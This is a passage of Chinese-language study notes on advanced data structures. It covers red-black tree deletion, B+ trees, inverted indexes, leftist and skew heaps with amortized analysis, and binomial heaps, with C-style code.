对于第一种情况,如果X没有子节点,亦即X是叶子结点,那么我们可以直接删除X,并让NiL结点接替这个位置,相当于什么都没有干
内部叶子结点¶
所以对于红黑树的删除,缩减到了两种大情况
- Case 1:X是有两个NiL结点的内部结点
- Case 2:X只有一个NiL结点的内部结点
- Case 2-1:child是红色
- Case 2-2:child是黑色
如果X只有一个带有键值的子节点,此时如果X是红色,那么万事大吉,直接删除,让它的子节点接替它的位置,如果X是黑色,接替上来的结点是红色,直接染黑即可,如果接替的是NiL结点(Case 1),或者接替上来的是黑色结点(Case 2-2),我们该怎么办
解决方法十分聪明,直接给黑色结点(包括NiL结点)再加上一重黑色,变成 双黑结点 .此时第五条性质没有被破坏,但是我们凭空多了一种颜色,这自然是不行的,所以我们的想法是,将这一重黑色传递给上层的一个红色结点,或者没找到,直接往上推到根节点,让根结点变成双黑,而根节点从双黑变成黑色是完全没有影响的,这样就解决了问题
我们可以把双黑传递的情况分为以下四类,用子树代表更一般的情况(可能发生在传递的过程中,X代表双黑结点)
红色呢,救一下啊
- 情况1: X有红色的兄弟

此时父结点一定是黑色,我们的想法很简单,兄弟是红色,那就希望兄弟能两肋插刀,把兄弟转上去,为了保持红黑树性质,很可惜只能把父亲染红,自己还承受双黑 debuff。但是好处在于,这个问题转化为了接下来的情况234中的一种,此时X的兄弟一定是黑色,因为这个兄弟之前是X红色兄弟的孩子:
- 情况2:X 的兄弟是黑色的,且兄弟的两个孩子都是黑色的
Note
根据距离划分为近、远侄子,用远近而不用左右是为了对称情况不混淆左右

此时没有红色能救一下了,我们就把希望寄托于父节点,因为根节点一定能救,所以此时的做法就是将这一层的黑色往上推,将X的一层黑色去掉,将兄弟染红,父亲给一层黑色,如果父亲是红色,那么直接染黑即可,如果父亲是黑色,那么就又多了一层黑色
Key-point
如果情况2是情况1演变而来的,那么X的父节点一定是红色,此时问题可以直接解决
- 情况3:X 的兄弟是黑色的,且近侄子是红色,远侄子是黑色

这时我们借用 AVL 树的想法,红色在父亲 P 的 RL 位置,因此做 single rotation 后会变成情况 4 的 RR 的情况
Note
也就意味着红色要给到 RR 的位置,这里有一个颜色的变化,用 RR 记 忆很方便
- 情况4:X 的兄弟是黑色的,且远侄子是红色,近侄子是任意颜色

此时对应 AVL 树的 RR,于是再一次 single rotation 即可把双黑的一重黑丢给红色远侄子(即 X 和 N2 都变成黑色),但要注意为了保证红黑树性质的颜色变化,如果 P 一开始是黑色,那么旋转前后到N2的路径上黑色结点数目不变,都是2,如果P是红色,那么旋转前后到N2的路径上黑色结点数目增多,此时需要将S染红,P染黑,总的来说,可以交换P和S的颜色
吴一航学长的ADS讲义
首先我们最多用 \(O(\log n)\) 的时间找到删除结点, 最多 1 次交换和 1 个删除的操作。接下来如果删除后没有问题则到此结束;否则根据分析,情况 1、3和 4 在问题解决前最多进去一次,因为 4 可以直接解决,3 直接进入 4 然后解决,1 如果进入 3 和 4也可以马上解决,进入 2 后也因为父结点是红色可以马上解决。因此关键在于情况 2 可能出现很多次,但最多也只是树高 \(O(\log n)\) 次,因为每次都会上推 1 格。总而言之,因为情况 1、3 和 4 在问题解决前最多进去一次,所以最多 3 次旋转加上 \(O(\log n)\) 次颜色调整可以解决问题
Question
考虑将一个结点 X 插入红黑树 T0,得到红黑树 T1,然后紧接着下一步操作又立刻将 X 从 T1 删除得到 T2,请问 T0 和 T2 是否一定一样?若是,请给出清晰的证明;若不是,请举出反例。

B+树¶
Definition
A B+ tree of order ** \(M\) ** is a tree with the following properties:
- The root is either a leaf or has between \(2\) and \(M\) children.
- All noneleaf nodes (except the root) have between $ \lceil \frac{M}{2} \rceil $ and \(M\) children.
- All leaves are at the same depth.
与红黑树的定义比起来,B+树的的定义就显得更为简单,我们只需要每个结点中储存的键值个数的限制和孩子个数的限制,以及所有键值都在叶节点中有存储。
Question
- 为什么根节点的孩子个数从2开始?
因为一开始插入到根结点爆炸时,根节点只能分裂成两个孩子
- 为什么非叶子结点的孩子个数要求是 \(\lceil \frac{M}{2} \rceil\) ?
是因为插入到爆炸的时候就是分裂到这个数量
- 注意非叶子节点孩子个数的限制是 \(\lceil \frac{M}{2} \rceil\),如果问的是key的个数,那么是 \(\lceil \frac{M}{2} \rceil-1\)
B+树搜索¶
根据 B+ 树定义,需要在非叶结点层逐层和存储的键值比较从而确定去哪一个孩子结点。 因此时间复杂度有两个重要因素:一个是树的高度,另一个是每一层搜索需要的时间。树的高度非常好计算,最差的情况也是每个结点都存 \(\lceil \frac{M}{2} \rceil\) 个结点,因此最大高度是 \(O(\log_{⌈M/2⌉} N)\) 的。 然后每一层因为键值是排好序的,因此用二分查找找到要去哪个孩子结点,复杂度为 \(O(\log_2 M)\),综合可得搜索的时间复杂度为
B+树插入¶
伪代码如下
Btree Insert ( ElementType X, Btree T )
{ Search from root to leaf for X and find the proper leaf node;
Insert X;
while ( this node has M+1 keys )
{split it into 2 nodes with (M+1)/2 and (M+1)/2 keys,
respectively;
if (this node is the root)
create a new root with two children;
check its parent;
}
}
Key-point
分裂时,以右半部分的最小孩子作为分裂后的索引,例如 2-3 树,根节点为(1,2,3),插入4之后,分裂为(1,2)和(3,4),根节点变为3,左孩子为(1,2),右孩子为(3,4)
就是找到插入的位置,然后插入看结点是否放得下,放不下就分裂,如果分裂后子结点个数也过多则继续向上一层分裂,直到根结点孩子爆满则将根结点分 裂并生成新的根结点,当然还要注意即使不分裂也可能需要按 B+ 树定义更新上层结点。我们知道树有 $O(\log_{⌈M/2⌉} N) $层,每层操作最多是 \(O(M)\) 的(如更新结点或者分裂,无非就是更改 \(O(M)\) 个 键值以及修改 \(O(M)\) 个父子指针),因此整体时间复杂度为
B+树删除¶
想法很简单,因为只需把插入时分裂结点改为合并键值或孩子数量少的 结点,当然需要注意的是,为了确保合并后键值数量不会超过 M 且减少合并次数,可以先看看兄 弟结点是不是键值还很多,多的话拿一个过来即可,事实上整体时间复杂度和插入分析类似,也 为 \(O(\frac{M}{\log M} \log N)\)
倒排索引¶
约 716 个字 25 行代码 4 张图片 预计阅读时间 3 分钟
倒排文件是一种数据结构,它存储了某个特定词汇在文本中所有出现位置的索引。这些索引可以是页面编号、行号或文本中的具体位置等。简而言之,倒排文件就是一种记录了词汇出现位置的地图,便于快速检索到该词汇在文档中的所有出现点。

储存其出现的频率是因为从出现次数较少的词汇中找到的文档更有可能是相关文档。而且,出现次数较少的词汇更有可能是特定的词汇,因此更有可能是相关文档。
构建倒排索引:
while ( read a document D ) {
while ( read a term T in D ) {
if ( Find( Dictionary, T ) == false )
Insert( Dictionary, T );
Get T’s posting list;
Insert a node to T’s posting list;
}
}
Write the inverted index to disk;
需要考虑很多问题
-
Steaming: 词汇的变形问题,如“run”和“running”是同一个词汇的不同形式。没必要分别储存
-
Stop words:在搜索引擎中没有实际意义的词汇,如“a”、“an”、“the”等。在倒排文件中,这些词汇的储存会占用大量的空间,而且对搜索结果没有实际意义。
-
搜索的方式:search树、哈希表;树查询比较慢,范围查询比较块;哈希表查询比较快,但是范围查询比较慢,而且需要考虑哈希冲突的问题。
-
内存管理
BlockCnt = 0;
while ( read a document D ) {
while ( read a term T in D ) {
if ( out of memory ) {
Write BlockIndex[BlockCnt] to disk;
BlockCnt ++;
FreeMemory;
}
if ( Find( Dictionary, T ) == false )
Insert( Dictionary, T );
Get T’s posting list;
Insert a node to T’s posting list;
}
}
for ( i=0; i<BlockCnt; i++ )
Merge( InvertedIndex, BlockIndex[i] );
- 分布式索引:将倒排索引分布在多个服务器上,每个服务器负责一部分索引。这样可以提高搜索的效率,减少单个服务器的负载。

- 压缩存储

将stop words去掉,存储时存储每个单词的长度而不是其首字母出现的位置,这样可以避免大数字的存储。
- 文档阈值的控制

-
文档阈值控制:
- 只检索按照权重排名的前
x个文档。 - 不适用于布尔查询,因为布尔查询通常需要返回所有匹配的文档,而不是按相关性排序的子集。
- 缺点是由于截断可能会遗漏一些相关的文档,即只选择排名靠前的文档,可能会忽略重要的文档。
- 只检索按照权重排名的前
-
查询阈值控制:
- 将查询词按照词频升序排列(从最不常见的词到最常见的词)。
- 系统根据原始查询词的某个百分比进行搜索。图中显示了按 20%、40%、80% 的比例使用查询词(从 T1 到 T10)
搜索的性能衡量指标有两个:召回率**和**准确率。召回率(能搜索到多少)是指检索到的相关文档数与系统中所有相关文档数的比值,准确率(正确的是多少)是指检索到的相关文档数与检索到的文档总数的比值。
| Relevant | Irrelevant | |
|---|---|---|
| Retrieved | \(R_R\) | \(I_R\) |
| Not Retrieved | \(R_N\) | \(I_N\) |
Perscision = \(\dfrac{R_R}{R_R+I_R}\)
Recall = \(\dfrac{R_R}{R_R+R_N}\)
左式堆与斜堆¶
约 3467 个字 78 行代码 2 张图片 预计阅读时间 13 分钟
左式堆¶
在有的情况下,我们需要进行堆的合并操作,左式堆就是为了在merge操作中提供更好的性能。
定义¶
NPL
一个节点X的 NPL(Null Path Length) ,NPL(X)定义为从 X 到一个没有两个儿子的结点的最短路径的长。因此,具有 0 个或 1 个儿子的结点的 Npl 为 0,且规定 Npl(null)=-1
左式堆-leftist Heap
每个结点的左孩子的 Npl 都要大于等于其右孩子的 Npl。注意这一定义适用于没有两个孩子的结点,因为有定义 Npl(null)=-1
向左边倾斜有一个很好的性质
性质¶
在右路径上有 \(r\) 个结点的左式堆必然至少有 \(2^r − 1\) 个结点(右路径指从根结点出发一路找右孩子直到找到叶子的路径)。
这一定义指出:若一共有 \(n\) 个结点,那么右路径上的结点个数至多为 \(\log(n + 1)\),因此左式堆的右路径结点数至多为 \(\log(n + 1)=O(\log n)\)。
Proof
我们可以使用数学归纳法证明这一性质
使用数学归纳法证明。若 \(r = 1\),则显然至少存在 1 个结点。设定理对右路径上有小于等于 \(r\) 个结点的情况都成立,现在考虑在右路径上有 \(r + 1\) 个结点的左式堆。此时,根的右子树恰好在右路径上有 \(r\) 个结点,因此右子树大小至少为 \(2^r − 1\)。考虑左子树,根据左式堆定义左子树的 Npl 必须大于等 于 \(r − 1\),事实上很容易归纳得到 Npl 大于等于 \(r − 1\) 的树右路径至少有 \(r\) 个结点,因此左子树大小也 至少为 \(2^r − 1\),因此整棵树的结点数至少为
操作与实现¶
wyy有话说
有一个直觉是值得特别说明的,就是我们发现平衡搜索树中我们通常要求树越平衡越好,但堆却似乎不需要这一点,这是为什么呢。这是因为堆不支持 find 操作,所以左式堆左边的结点在操作中可以完全不被访问,而我们会知道只在右路径上操作也完全可以解决插入、删除最小值和合并,因此我们完全不需要保持树的平衡。
Merge&Insert¶
Insert:可以视为一个堆和一个单结点的堆的Merge,因此问题转化为Merge。
递归实现
PriorityQueue Merge ( PriorityQueue H1, PriorityQueue H2 )
{
if ( H1 == NULL ) return H2;
if ( H2 == NULL ) return H1;
if ( H1->Element < H2->Element ) return Merge1( H1, H2 );
else return Merge1( H2, H1 );
}
static PriorityQueue
Merge1( PriorityQueue H1, PriorityQueue H2 )
{
if ( H1->Left == NULL ) /* single node */
H1->Left = H2; /* H1->Right is already NULL
and H1->Npl is already 0 */
else {
H1->Right = Merge( H1->Right, H2 ); /* Step 1 & 2 */
if ( H1->Left->Npl < H1->Right->Npl )
SwapChildren( H1 ); /* Step 3 */
H1->Npl = H1->Right->Npl + 1;
} /* end else */
return H1;
}
Note
这里分开两个函数写主要是为了避免重复写H1接到H2和H2接到H1的代码,这样可以进一步的模块化减少代码量。
其主要步骤为
- 如果两个堆中至少有一个是空的,那么直接返回另一个即可;
- 如果两个堆都非空,我们比较两个堆的根结点 key 的大小,key 小的是 H1,key 大的是 H2;
- 如果 H1 只有一个顶点(根据左式堆的定义,只要它没有左孩子就一定是单点),直接把 H2 放在 H1 的左子树就完成任务了(很容易验证这样得到的结构符合左式堆性质,此时 Npl 也没有变化);
- 如果 H1 不只有一个顶点,则将 H1 的右子树和 H2 合并(这是递归的体现,在 base case 设计良好,其它步骤也都合理的情况下你完全可以相信这一步递归帮你做对了),成为 H1 的新右子树;
- 如果 H1 的 Npl 性质被违反,则交换它的两个子树;
- 更新 H1 的 Npl,结束任务
合并的写法
PriorityQueue Merge( PriorityQueue H1, PriorityQueue H2 )
{
if (H1==NULL) return H2;
if (H2==NULL) return H1;
if (H1->Element>H2->Element)
swap(H1, H2); //swap H1 and H2
if ( H1->Left == NULL )
H->Left=H2;
else {
H1->Right = Merge( H1->Right, H2 );
if ( H1->Left->Npl < H1->Right->Npl )
SwapChildren( H1 ); //swap the left child and right child of H1
H1->Npl=H1->Right->Npl+1;
}
return H1;
}
swap函数可以调用std::swap,也可以自己实现。
递归实现的复杂度
首先分析递归的最大深度。我们发现,在 1-5 步这样的递归过程中,产生的递归层数不会超过两个左式堆的右路径长度之和,因为每次递归都会使得两个堆的其中一个(根结点 key 更小的)向着右路径上下一个右孩子推进,并且直到其中一个推到了 null 结点就不再加深递归。注意加深一层的过程中的操作是常数的,因为只需要简单的大小比较和找孩子,加上右路径长度的限制,因此递归向下的过程是 \(O(\log n)\) 的。这一点我们可以更严谨地展开:假设 \(H1\) 大小为 \(N1\),\(H2\) 大小为 \(N2\),两者路径之和
上面的推导用到了基本不等式 \(a + b \geqslant 2\sqrt{ab}\)。总而言之,两个堆右路径长度之和仍然是两个堆大小的对数级别,因此递归层数是 \(O(\log n)\) 的是准确的接下来分析递归返回的操作,事实上每一层的操作也是常数的,因为只需要接上新的指针,判断、交换 子树以及更新 Npl,所以也是 \(O(\log n)\) 的,因此总的时间复杂度就是 \(O(\log n)\) 的。
迭代实现
递归过程的展开实际上就等价于迭代算法的流程:每一次递归向下对应迭代中保留根结点更小的堆的左子树(就像是左子树不动,右子树等着接下来合并的结果),直到最后一次与 null合并直接接上,递归返回过程实际上就是逐个检查新的右路径上的结点是否有违反 Npl 性质的并且更新 Npl 即可,其它结点无需关心是因为它们根本就不受影响因为我们已经说明了迭代和递归的每一步都是有对应关系的,只不过递归是最后返回时才接上每个结点的右子树,迭代过程中就已经接好了,因此二者时间复杂度是一样的。当然,我们在完成上面的流程后会有一个观察,就是在递归向下之后,或者说交换孩子调整左式堆性质之前,合并得到的堆的右路径是原来两个堆的右路径合并排序的结果,通过上面的过程我们很容易证明这一结论是通用的,因为我们每次都在比较两个堆的右路径上两个点的大小,然后把小的作为根插入。有了这一规律,我们做题会更快捷一些,因为你只需要把两条右路径从小到大排序,然后从小到大依次带着左子树接入到新的右路径即可(但要注意在此之后还需要调整使得满足左式堆结构性质)。因此我们用代码实现迭代版本也并没有想象中复杂,只需要对两个堆右路径从小到大遍历操作,然后再从右路径最后一个点返回根结点,过程中检查结构性质并更新 Npl 即可

void npl_update(LeftistHeap h) {
if (h == NULL) return;
h->npl = h->right == NULL ? 0 : h->right->npl + 1;
}
LeftistHeap merge_iterative(LeftistHeap h1, LeftistHeap h2) {
if (h1 == NULL) return h2;
if (h2 == NULL) return h1;
LeftistHeap stack[MAX_STACK_SIZE] = {NULL};
int top = -1;
LeftistHeap h = NULL;//创建新堆
LeftistHeap *p = &h;//指向新堆的指针,用于更新
while (h1 != NULL && h2 != NULL) {
if (h1->key > h2->key) {
swap(h1, h2);
}//保证h1的key小于h2
stack[++top] = h1;//将h1入栈
*p = h1;//修改新堆对应位置上的值
p = &h1->right;//指针指向下一个需要更新的位置
LeftistHeap next = h1->right;//保留下一个h1
h1->right = h2;//将h2接到h1的右边,如果此时接得不对,会在下一次循环中*p=h1,来修改
h1 = next;//更新h1
}
*p = h1 == NULL ? h2 : h1;//剩余的直接接上
while (top >= 0) {
npl_update(stack[top--]);
}//更新npl
adjust(h);//调整堆
return h;
}
void adjust(LeftistHeap h) {
if (h == NULL) return;
adjust(h->right);
if (h->right == NULL) return;
if (h->left==NULL||h->left->npl < h->right->npl) {
swap(h->left, h->right);
}
npl_update(h);
}
斜堆¶
斜堆与左式堆的关系就像是 splay 树和 AVL 树之间的关系。回顾 splay 树,它并不需要维护 AVL 树中的 bf 属性,只需要在访问一个结点之后就无脑地将它用 zig/zig-zig/zig-zag 三种情况将它翻到根结点即可。
斜堆也是类似的想法,它不用再维护 Npl,因此在递归过程中左式堆所有维护结构性质以及更新 Npl 的
操作不再需要,取而代之的是如下操作:
斜堆
-
在 base case 是处理 H 与 null 连接的情况时,左式堆直接返回 H 即可,但斜堆必须看 H 的右路径,我们要求 H 右路径上除了最大结点之外都必须交换其左右孩子。
-
在非 base case 时,若 H1 的根结点小于 H2,如果是左式堆,我们需要合并 H1 的右子树和 H2作为 H1 的新右子树,最后再判断这样是否违反性质决定是否交换左右孩子,斜堆直接无脑交换,也就是说每次这种情况都把 H1 的左孩子换到右孩子的位置,然后把新合并的插入在 H1 的左子树上。
总的来说,斜堆的基本操作与左式堆类似,但是每一次递归完毕都进行不加判断大小的交换操作
Example

如果我们像前面分析左式堆那样展开递归的每一步,前面的过程很好理解,就是无脑交换根的 key 更小的堆的左右孩子,关键在于当递归到最深的一层我们看到实际上是merge 一个 null 堆和一个 18 为根、35 为 18 的左孩子的堆,我们看上面操作的第一条,这个堆的右路径上除了最大结点外都要交换左右孩子,但幸运的是,这个堆右路径只有 18 一个结点,它是最大的,所以无需交换。维基百科等地方的斜堆 base case 之后都无需操作,但这里可能还有操作
最后合并出的堆的左路径上讲包含两个原始堆的右路径排序后的结果,当然后面还可能连着原始堆右路径最大值的一些左孩子(因为这些左孩子是不被交换的)
斜堆的摊还分析¶
斜堆的期望类似于Splay tree,Any M consecutive operations take at most \(O(M \log N)\) time,为了证明这个,我们仍然需要用势函数法来进行摊还分析。
定义势函数之前,我们要先定义一些其它的东西
Definition
我们称一个结点 P 是重的(heavy),如果它的右子树结点个数至少是 P 的所有后代的一半(后代包括 P 自身)。反之称为轻结点(light node)
引理
对于右路径上有 \(l\) 个轻结点的斜堆,整个斜堆至少有 \(2^l − 1\) 个结点,这意味着一个 \(n\) 个结点的斜堆右路径上的轻结点个数为 \(O(\log n)\)。
我们可以使用数学归纳法来证明:
首先,对于l=1,整棵树至少有\(2^1-1=1\)个结点,结论是正确的; 假设对于右路径上有小于等于\(l\)个轻结点的斜堆,整个斜堆至少有\(2^l-1\)个结点的结论都成立 现在考虑右路径上有\(l+1\)个轻结点的斜堆。 设右路径上第一个轻结点为P,如果把这个结点及其左子树一起删除,则至少删除了以P为根的子树的所有的结点的一半再加一(右子树节点数加根),因为P是轻的;则剩下的右路径上有\(l\)个轻结点,根据归纳假设,剩下的结点至少有\(2^l-1\)个,加上删掉的结点,整个斜堆至少有\(2*(2^l-1)+1\)
我们需要证明的是
若我们有两个斜堆 \(H1\) 和 \(H2\),它们分别有 \(n_1\) 和 \(n_2\) 个结点,则合并 \(H1\) 和 \(H2\) 的摊还时间复杂度为 \(O(\log n)\),其中 \(n = n_1 + n_2\)。
因为insert和delete都是以merge为基础的,所以我们只需要证明merge的摊还时间复杂度即可。
Proof
证明: 我们定义势函数 \(\Phi(Hi)\) 等于堆 \(Hi\) 的重结点(heavy node)的个数,并令 H3 为合并后的新堆.我们设 \(Hi(i = 1, 2)\) 的右路径上的轻结点数量为 \(li\),重结点数量为 \(hi\),因此真实的合并操作最坏的时间复杂度为
(所有操作都在右路径上完成)。因此根据摊还分析我们知道摊还时间复杂度为
事实上,在 merge 前我们可以记\(\Phi(H1) + \Phi(H2) = h1 + h2 + h\),其中 \(h\) 表示不在右路径上的重结点个数。现在我们要考察合并后的情况,事实上我们有两个非常重要的观察:
-
只有在 H1 和 H2 右路径上的结点才可能改变轻重状态,这是很显然的,因为其它结点合并前后子树是完全被复制的,所以不可能改变轻重状态;
-
H1 和 H2 右路径上的重结点在合并后一定会变成轻结点,这是因为右路径上结点一定会交换左右子树,并且后续所有结点也都会继续插入在左子树上(这也表明轻结点不一定变为重结点)。结合以上两点,我们知道合并后原本不在右路径上的 h 个重结点仍然是重结点,在右路径上的\(h1 + h2\)个重结点全部变成轻结点,\(l1 + l2\) 个轻结点不一定都变重,因此合并后我们有\(\Phi(H3) \leqslant l1 + l2 + h\),代入数据计算可得
根据前面的引理,\(l1 + l2 = O(\log n_1 + \log n_2) = O(\log(n_1 + n_2)) = O(\log n)\)(这里的等号之前有完全一样的说明过),并且注意到初始(空堆)势函数一定为 0。且之后总是非负的,所以这一势函数定义满足要求,因此我们的证明也就完成了。
Key-point
对于斜堆和左式堆的合并,是\(O(\log n)\)的,这个\(n\)既可以是两个堆的大小之和,或者是\(\max(n1,n2)\),因为
二项堆(Binomial Heap)¶
约 2173 个字 110 行代码 2 张图片 预计阅读时间 9 分钟
二项堆的定义和性质¶
在二叉堆(Binary Heap)的基础上,我们可以实现在可以在 \(O(n)\) 时间内实现 \(n\) 个结点的插入建堆操作,而之前讨论的左式堆和斜堆不可以
Definition
- 结构性质:
- 二项堆不是一棵树,而是由许多树组成的森林,其中每一棵树称为二项树
- 一个二项堆中的每棵树具有不同的高度,每一种高度的二项树最多只有一棵
- 高度为 0 的二项树是一棵单节点树;高度为 \(k\) 的二项树 \(B_k\) 通过将一棵二项树 \(B_{k−1}\) 附接到另一棵二项树 \(B_{k−1}\) 的根上而构成
- 序性质:每棵二项树都保持堆序性质(最小堆或者最大堆)
根据二项堆的性质,我们有以下结论:
二项树的节点数目:\(B_k\) 的二项树具有 \(2^k\) 个节点,这可以由递推很容易证明
在深度为\(d\)处的节点数恰好就是二项系数\(\begin{pmatrix} k \\ d \end{pmatrix}\)
数学归纳法证明
对于 \(k = 0\) 的情况显然正确,设直到 \(k\) 结论都是正确的,则对于 \(B_k+1\),第一层和 最后一层只有一个结点是可以直接得到的,在其它层中,回忆二项堆的定义是由两个 \(B_k\) 接起来的,因此在新树的深度为\(d\)的地方,由两部分组成:
- 一部分是在 \(B_k\) 的深度为 \(d\) 的地方,有 \(\begin{pmatrix} k \\ d \end{pmatrix}\) 个结点
- 另一部分是在 \(B_k\) 的深度为 \(d-1\) 的地方,有 \(\begin{pmatrix} k \\ d-1 \end{pmatrix}\) 个结点
故我们只要证
这由二项数的性质很容易证明
Note
可以将二项堆与二进制表示联系起来
二项堆的操作¶
Findmin¶
直接遍历所有树,注意到对于一个有\(n\)个结点的二项堆,最多有\(\log n\)棵树,因此时间复杂度为\(O(\log n)\)
也可以通过专门记录最小的节点来实现\(O(1)\)的时间复杂度,当然在DeleteMin的时候需要重新找到最小的节点并更新
Insert & merge¶
插入是特殊的合并操作,我们可以将一个新的节点看作是一个只有一个节点的二项堆,然后将其与原来的二项堆合并即可;
合并操作的过程十分类似二进制数的加法,例如一个二项堆有\(B_3,B_2,B_0\),其二进制表示为\(1101\),另一个二项堆有\(B_3,B_1,B_0\),其二进制表示为\(1011\),我们可以将其看作是二进制数相加,然后将进位的部分合并得到新的二进制数\(11000\),则新的二项堆为\(B_4,B_3\),我们需要保证堆的存储顺序是按高度从小到大来排列,这样时间复杂度就是\(O(\log n)\)
对于从空开始插入建堆的时间复杂度我们需要做特殊的分析。因为我们是要平均时间的最坏情况,事实上也就是摊还代价。
聚合法
聚合法需要每一步的操作复杂度,实际上我们随便模拟几步再结合之前讨论的合并和二进制加法之间的关系就可以发现,插入的整个操作与二进制数加1有完全的对应关系:若是遇到了某一位是\(1+1\),则用常数操作完成简单的合并即可,如果遇到\(0+1\),那么当前所有的二项树合起来就是最后的结果。基于这一观察我们知道,因为\(0+1\)对应将0置1,\(1+1\)对应1置0,这两种情况都对应于堆的常数时间操作,因此从空树连续插入\(n\)的顶点的时间复杂度与\(0+1+1 \cdots (n \ of \ 1)\)的过程中数据二进制表示中0和1比特翻转的次数总和。于是算法复杂度就很好计算了,因为我们知道\(n\)对应于 \(\lfloor \log n \rfloor+1\)个二进制位,事实上最低位每次加1都会反转比特,次低位每两次运算反转比特,倒数第三位每4次运算反转比特......以此类推,\(n\)次操作的整体时间复杂度与
有了这个结论,我们就可以知道,从空树开始插入\(n\)个结点的时间复杂度是\(O(n)\)的,故单步插入的摊还代价是\(O(1)\)的
势能法
对于复杂的操作,对应着很多次的复位操作(1变0)和一次置位(0变1)操作,所以将势函数定义为 \(\Phi=\)二项堆中二项树的个数,这样在一次操作之后势函数的会下降很多;
假设一次操作 \(c_i=k+1\) 有 \(k\) 次复位;那么
故单步操作复杂度为\(O(1)\)
二项堆的代码实现¶
因为每个结点的孩子数量可能不只有2个,因此我们使用LeftChild和NextSibling的组合实现。直观上来看用LeftChild和NextSibling是让二项树翻转了:原先是根的子树从左到右高度依次增大,现在依次减小了。并且为了方便索引每棵二项树,我们用一个数组存储每棵二项树的根,其中数组的索引就对应二项树的高度
Key-point
相当于让最大的孩子管着其它的兄弟
结构定义¶
typedef struct BinNode *Position;//指针
typedef struct Collection *BinQueue;//二项队列
typedef struct BinNode *BinTree; //二项树
struct BinNode
{
ElementType Element;
Position LeftChild;
Position NextSibling;
} ;
struct Collection
{
int CurrentSize; /* total number of nodes */
BinTree TheTrees[ MaxTrees ];//存储每棵二项树的根
} ;
合并大小相同的树(\(O(1)\)复杂度)¶
BinTree
CombineTrees( BinTree T1, BinTree T2 )
{ /* merge equal-sized T1 and T2 */
if ( T1->Element > T2->Element )
/* attach the larger one to the smaller one */
return CombineTrees( T2, T1 );
/* insert T2 to the front of the children list of T1 */
T2->NextSibling = T1->LeftChild;
T1->LeftChild = T2;
return T1;
}
Merge¶
BinQueue Merge( BinQueue H1, BinQueue H2 )
{ BinTree T1, T2, Carry = NULL;
int i, j;
if ( H1->CurrentSize + H2-> CurrentSize > Capacity ) ErrorMessage();
H1->CurrentSize += H2-> CurrentSize;
for ( i=0, j=1; j<= H1->CurrentSize; i++, j*=2 ) {
T1 = H1->TheTrees[i]; T2 = H2->TheTrees[i]; /*current trees */
switch( 4*!!Carry + 2*!!T2 + !!T1 ) {
case 0: /* 000 */ break;
case 1: /* 001 */ break;
case 2: /* 010 */ H1->TheTrees[i] = T2; H2->TheTrees[i] = NULL; break;
case 4: /* 100 */ H1->TheTrees[i] = Carry; Carry = NULL; break;
case 3: /* 011 */ Carry = CombineTrees( T1, T2 );
H1->TheTrees[i] = H2->TheTrees[i] = NULL; break;
case 5: /* 101 */ Carry = CombineTrees( T1, Carry );
H1->TheTrees[i] = NULL; break;
case 6: /* 110 */ Carry = CombineTrees( T2, Carry );
H2->TheTrees[i] = NULL; break;
case 7: /* 111 */ H1->TheTrees[i] = Carry;
Carry = CombineTrees( T1, T2 );
H2->TheTrees[i] = NULL; break;
} /* end switch */
} /* end for-loop */
return H1;
}
4*!!Carry + 2*!!T2 + !!T1的作用是将树转换为二进制表示,对于第一个非,如果是空,那么为1,如果非空,那么为0,再取非,就再取反,然后转换为3位的二进制数字000什么都不用做,此时三个位置都是0001什么都不用做,此时H1有树,H2没有东西需要合并上去的010此时将H2的树转移到H1011需要进位,Carry要变成两树之和,两树要清空100将Carry转移到H1101需要进位,当位置0,将Carry变得更大110与上一情况类似111这里的做法并不唯一,我们可以保留任意一棵树,将另外两树之和进位上去,不过这里采用的是保留Carry,进位T1+T2
Deletemin¶
ElementType DeleteMin( BinQueue H )
{ BinQueue DeletedQueue;
Position DeletedTree, OldRoot;
ElementType MinItem = Infinity; /* the minimum item to be returned */
int i, j, MinTree; /* MinTree is the index of the tree with the minimum item */
if ( IsEmpty( H ) ) { PrintErrorMessage(); return –Infinity; }
for ( i = 0; i < MaxTrees; i++) { /* Step 1: find the minimum item */
if( H->TheTrees[i] && H->TheTrees[i]->Element < MinItem ) {
MinItem = H->TheTrees[i]->Element; MinTree = i; } /* end if */
} /* end for-i-loop */
DeletedTree = H->TheTrees[ MinTree ];
H->TheTrees[ MinTree ] = NULL; /* Step 2: remove the MinTree from H => H’ */
OldRoot = DeletedTree; /* Step 3.1: remove the root */
DeletedTree = DeletedTree->LeftChild; free(OldRoot);
DeletedQueue = Initialize(); /* Step 3.2: create H” */
DeletedQueue->CurrentSize = ( 1<<MinTree ) – 1; /* 2^{MinTree} – 1 */
for ( j = MinTree – 1; j >= 0; j – – ) {
DeletedQueue->TheTrees[j] = DeletedTree;
DeletedTree = DeletedTree->NextSibling;
DeletedQueue->TheTrees[j]->NextSibling = NULL;
} //将树拆开
H->CurrentSize – = DeletedQueue->CurrentSize + 1;//minus 2^{MinTree}
H = Merge( H, DeletedQueue ); /* Step 4: merge H’ and H” */
return MinItem;
}
Explanation
比较简单,就照抄了GPT了
函数原型和输入参数
ElementType: 返回删除的最小元素的类型。BinQueue H: 要从中删除最小元素的二项队列。
变量初始化
BinQueue DeletedQueue;
Position DeletedTree, OldRoot;
ElementType MinItem = Infinity;
int i, j, MinTree;
DeletedQueue: 用于存储将要删除的树。DeletedTree: 指向当前处理的树。OldRoot: 保存被删除的根节点。MinItem: 初始设为正无穷,用于跟踪最小元素。MinTree: 存储最小元素所在树的索引。
检查队列是否为空
- 检查二项队列是否为空。如果为空,则打印错误信息并返回负无穷。
找到最小元素
for (i = 0; i < MaxTrees; i++) {
if (H->TheTrees[i] && H->TheTrees[i]->Element < MinItem) {
MinItem = H->TheTrees[i]->Element;
MinTree = i;
}
}
- 遍历所有树,找到具有最小元素的树(即最小根节点)。
- 如果找到更小的元素,则更新
MinItem和MinTree。
删除最小元素的树
DeletedTree = H->TheTrees[MinTree];
H->TheTrees[MinTree] = NULL;
OldRoot = DeletedTree;
DeletedTree = DeletedTree->LeftChild;
free(OldRoot);
- 将最小树存储在
DeletedTree中,并在原队列中将其置为NULL。 - 保存根节点到
OldRoot,然后将DeletedTree指向其左子树。 - 释放
OldRoot所占的内存。
初始化新的队列
- 初始化一个新的二项队列
DeletedQueue,用于存放从最小树中拆分出的树。 - 设置
DeletedQueue的当前大小为2^MinTree - 1,因为最小树的节点数是2^MinTree - 1。
拆分树并放入新队列
for (j = MinTree - 1; j >= 0; j--) {
DeletedQueue->TheTrees[j] = DeletedTree;
DeletedTree = DeletedTree->NextSibling;
DeletedQueue->TheTrees[j]->NextSibling = NULL;
}
- 从
